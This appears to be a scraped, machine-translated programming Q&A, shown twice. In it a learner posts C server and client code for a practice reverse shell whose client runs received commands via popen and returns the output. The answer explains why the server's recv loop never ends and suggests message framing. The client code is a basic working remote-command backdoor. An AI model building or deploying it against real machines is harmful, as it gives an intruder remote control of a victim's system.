C recv 函数在收到所有内容后阻止循环重复 (sys/socket)
C recv function blocking loop from repeating after receiving everything (sys/socket)
我正在研究反向 shell(用于练习),我正在尝试将 popen 函数的输出发送回服务器。出于某种原因,当我循环遍历文件并发送它时,(server recv) 循环在停止接收消息时不会中断。谁能找到我的错误。并帮我修好?
服务器代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#define PORT 4583
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);
server.sin_family = AF_INET;
bind(sock, (struct sockaddr *) &server, sizeof(server));
listen(sock, 2);
int client = accept(sock, NULL, NULL);
char * command = (char *) malloc(75);
char * output = (char * ) malloc (5000);
ssize_t size;
while (1){
printf(">> ");
fgets(command, 75, stdin);
send(client, command, strlen(command), 0);
while((size = recv(client, output, 5000, 0)) != 0){
printf("%s", output);
if (size == 0){
break;
}
}
printf("Done");
}
free(command);
free(output);
return 0;
}
客户端代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 4583
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);
server.sin_family = AF_INET;
connect(sock, (struct sockaddr *) &server, sizeof(server));
char* command = (char *) malloc(75);
int commandlen;
char* output = (char *) malloc (5000);
while (1){
recv(sock, command, 75, 0);
commandlen = strlen(command);
if (*command == 'c' && *command+1 == 'd'){
command[commandlen-1] = '[=12=]';
int stat = chdir(command+3);
if (stat != 0){
output = strerror(errno);
send(sock, output, 5000, 0);
} else {
send(sock, 0, 0, 0);
}
} else{
FILE * cmd = popen(command, "r");
while (fgets(output, 5000, cmd) != NULL){
send(sock, output, 5000, 0);
}
pclose(cmd);
}
}
free(output);
free(command);
return 0;
}
while((size = recv(client, output, 5000, 0)) != 0){
您的期望是 recv
return s 0
当客户端是 "done" 时。但是从 TCP 的角度来看,唯一的 "done" 是如果 TCP 连接被关闭,只有这样 recv
才会 return 0
。只是,您的客户端在处理命令后不会关闭连接,而是会等待下一个命令。
为了解决这个问题,您需要在 TCP 之上实施一些消息协议,以便您知道命令输出实际完成的时间。执行此操作的典型方法是为每条消息添加长度前缀,或者使用一些唯一的消息结束字节序列结束每条消息。
我正在研究反向 shell(用于练习),我正在尝试将 popen 函数的输出发送回服务器。出于某种原因,当我循环遍历文件并发送它时,(server recv) 循环在停止接收消息时不会中断。谁能找到我的错误。并帮我修好? 服务器代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#define PORT 4583
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);
server.sin_family = AF_INET;
bind(sock, (struct sockaddr *) &server, sizeof(server));
listen(sock, 2);
int client = accept(sock, NULL, NULL);
char * command = (char *) malloc(75);
char * output = (char * ) malloc (5000);
ssize_t size;
while (1){
printf(">> ");
fgets(command, 75, stdin);
send(client, command, strlen(command), 0);
while((size = recv(client, output, 5000, 0)) != 0){
printf("%s", output);
if (size == 0){
break;
}
}
printf("Done");
}
free(command);
free(output);
return 0;
}
客户端代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 4583
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);
server.sin_family = AF_INET;
connect(sock, (struct sockaddr *) &server, sizeof(server));
char* command = (char *) malloc(75);
int commandlen;
char* output = (char *) malloc (5000);
while (1){
recv(sock, command, 75, 0);
commandlen = strlen(command);
if (*command == 'c' && *command+1 == 'd'){
command[commandlen-1] = '[=12=]';
int stat = chdir(command+3);
if (stat != 0){
output = strerror(errno);
send(sock, output, 5000, 0);
} else {
send(sock, 0, 0, 0);
}
} else{
FILE * cmd = popen(command, "r");
while (fgets(output, 5000, cmd) != NULL){
send(sock, output, 5000, 0);
}
pclose(cmd);
}
}
free(output);
free(command);
return 0;
}
while((size = recv(client, output, 5000, 0)) != 0){
您的期望是 recv
return s 0
当客户端是 "done" 时。但是从 TCP 的角度来看,唯一的 "done" 是如果 TCP 连接被关闭,只有这样 recv
才会 return 0
。只是,您的客户端在处理命令后不会关闭连接,而是会等待下一个命令。
为了解决这个问题,您需要在 TCP 之上实施一些消息协议,以便您知道命令输出实际完成的时间。执行此操作的典型方法是为每条消息添加长度前缀,或者使用一些唯一的消息结束字节序列结束每条消息。